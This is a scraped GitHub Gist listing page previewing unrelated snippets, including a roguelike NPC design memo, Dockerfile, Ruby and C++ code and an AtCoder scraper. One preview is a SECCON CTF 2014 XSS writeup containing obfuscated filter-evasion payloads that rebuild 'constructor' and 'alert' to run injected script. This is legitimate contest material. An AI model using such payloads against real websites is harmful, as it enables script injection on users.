Skip to content

Instantly share code, notes, and snippets.

店主メモ
関係するフラグとして、NPCフラグと攻撃されたフラグの2つを考える。
NPCフラグは0ならモンスターと同じ(=敵対)、非0ならNPC(=非敵対)であるとみなせる。
攻撃されたフラグの初期値は0(=攻撃されていない)である。
店主に関係する処理として、命中判定、店主の移動・攻撃対象決定、ダメージ処理、ダメージ時特技の4つを考える。
ダメージ処理は店主がダメージを受けたときに実行される(ダメージ時特技と違い外れたときは実行されない)。
ダメージ時特技はダメージ処理の後及び、投擲・通常攻撃で外れたときに実行される。
@tyage
tyage / bonsai-xss.js
Last active October 23, 2020 03:32
SECCON CTF 2014 Online Qualifications, XSS Bonsai writeup
";hoge14='constructorhoge14'.slice(84645-84645,84656-84645);hoge15='alerthoge14'.slice(84645-84645,84650-84645);hoge16='XSShoge14'.slice(84645-84645,84648-84645);[][hoge14][hoge14](hoge15+'(\''+hoge16+'\')')()//
\";hoge17='constructorhoge17'.substr(45998-45998,46009-45998);hoge18='alerthoge17'.substr(45998-45998,46003-45998);hoge19='XSShoge17'.substr(45998-45998,46001-45998);[][hoge17][hoge17](hoge18+'(\''+hoge19+'\')')()//
',(hoge20='constructorhogee'.replace('hogee',''),hoge21='alerthogee'.replace('hogee',''),hoge22='XSShogee'.replace('hogee',''),[][hoge20][hoge20](hoge21+'(\''+hoge22+'\')')()),'
")};hoge30=88831-88831;hoge31='cccchoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'nnnnhoge30'.split('')[hoge30]+'sssshoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30]+'uuuuhoge30'.split('')[hoge30]+'cccchoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30];hoge32='aaaahoge30'.split('')[hoge30]+'llllhoge
@Genki-S
Genki-S / main.rb
Last active August 29, 2015 14:08
coderunner 2014 qualification A
require 'open-uri'
TOKEN = "CDC4L3EA1BEVS662EP0MALI7UVC8L357"
class GA
GENES_LIMIT = 100
SELECTION_COUNT = 50
CROSSOVER_COUNT = 45
RANDOM_COUNT = 5
MUTATION_PERCENTAGE = 30
@callahad
callahad / Dockerfile
Last active November 15, 2022 17:57
Preliminary Firefox Sync Dockerfile
FROM debian:7.4
MAINTAINER Dan Callahan <dan.callahan@gmail.com>
RUN DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends -y \
vim curl locales \
&& apt-get clean
RUN locale-gen C.UTF-8 && LANG=C.UTF-8 /usr/sbin/update-locale
ENV LANG C.UTF-8
@hofmannsven
hofmannsven / README.md
Last active October 2, 2025 20:17
Git CLI Cheatsheet
#include "rubybasic/BindGraphics.hpp"
#include "mruby.h"
#include "mrubybind.h"
#include "ofGraphics.h"
namespace {
static void set_fill() { ofFill(); }
static void set_no_fill() { ofNoFill(); }
static bool is_fill() { return ofGetFill() == OF_FILLED; }
@iegik
iegik / gitignore2svnignore.sh
Last active July 1, 2025 06:26 — forked from luisfaceira/converter.sh
Oneliner to convert svn:ignore into .gitignore
#!/bin/bash
cat .gitignore | sed 's/^/\.\//g;s/\(.*\)\/\([0-9a-zA-Z\*\?\.]*\)$/svn propedit svn:ignore "\2" \1 /mg' | bash
@takkaw
takkaw / ac_lank.rb
Created May 2, 2012 15:03
AtCoder lanking
# encoding : utf-8
# usdge : ruby ac_lank.rb num user_name
# example : ruby ac_lank.rb 002 takkaw
require 'nokogiri'
require 'open-uri'
arc = ARGV.shift.to_i
url = "http://arc%03d.contest.atcoder.jp/standings/" % arc
user = "/users/" + ARGV.shift